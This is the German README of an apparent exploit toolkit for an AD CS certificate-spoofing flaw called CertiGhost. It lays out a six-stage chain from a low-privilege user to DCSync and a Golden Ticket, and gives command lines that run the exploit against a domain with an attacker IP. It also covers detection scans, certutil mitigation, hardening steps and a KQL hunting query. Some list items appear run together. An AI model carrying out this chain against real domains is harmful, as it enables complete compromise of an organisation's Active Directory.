
Exploit-Toolkit für AD CS CVE-2026-54121: Niedrig privilegierte Domänenbenutzer können sich als Domain Controller ausgeben, Zertifikate fälschen und die Domäne per DCSync/Golden Ticket kompromittieren.
CertiGhost ist eine kritische Schwachstelle (CVSS 8.8) in Active Directory Certificate Services (AD CS), die es einem niedrig privilegierten Domänenbenutzer ermöglicht, sich als Domain Controller auszugeben und die vollständige Kompromittierung der Domäne zu erreichen.
Der AD-CS-„Chase“-Fallback-Mechanismus erlaubt es einem Antragsteller, cdc- (Client-DC) und rmd- (Remote-Domain) Attribute in einer Zertifikatsanfrage anzugeben. Die CA folgt dem cdc-Ziel, um Identitätsdaten aufzulösen, ohne zu validieren, dass es sich um einen legitimen Domain Controller handelt.
Angriffskette:
ms-DS-MachineAccountQuota)cdc eingereicht, das auf den Host des Angreifers zeigtkrbtgt-Hash → Golden Ticket → Vollständige Kompromittierung der Domäne| Dokument | Inhalt |
|---|---|
| USAGE.md | Ausführlicher Verwendungsleitfaden mit Schritt-für-Schritt-Anweisungen |
| DIAGRAM.md | Strukturdiagramme und Visualisierung des Angriffsablaufs |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
Vollständige Architekturdiagramme finden Sie in DIAGRAM.md.
pip install -r requirements.txt
# Unauthentifizierter Scan
python ad_detect.py
# Authentifizierter Scan (empfohlen)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# Mit bestimmten DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuota-WertEDITF_ENABLECHASECLIENTDC-Flagms-DS-MachineAccountQuota > 0 (Standard: 10)# Sicherheitsupdate vom Juli 2026 auf allen CA-Servern anwenden
# Vorübergehende Abschwächung – Chase-Fallback deaktivieren
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota auf 0ENROLLEE_SUPPLIES_SUBJECT aus den Vorlagencdc/rmd-AttributenLaut dem Microsoft-Threat-Protection-Blog stellen Sie die folgende Advanced-Hunting-Abfrage bereit:
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| Datei | Zweck |
|---|
certighost_exploit.py | Vollständige Implementierung der Angriffskette |
certighost_test.py | Erkennungs- + Exploit-Toolkit mit CLI |
ad_detect.py | Schneller gezielter Erkennungsscan |
test_exploit.py | Unit-Tests für alle Exploit-Komponenten (55 Tests) |
requirements.txt | Python-Abhängigkeiten |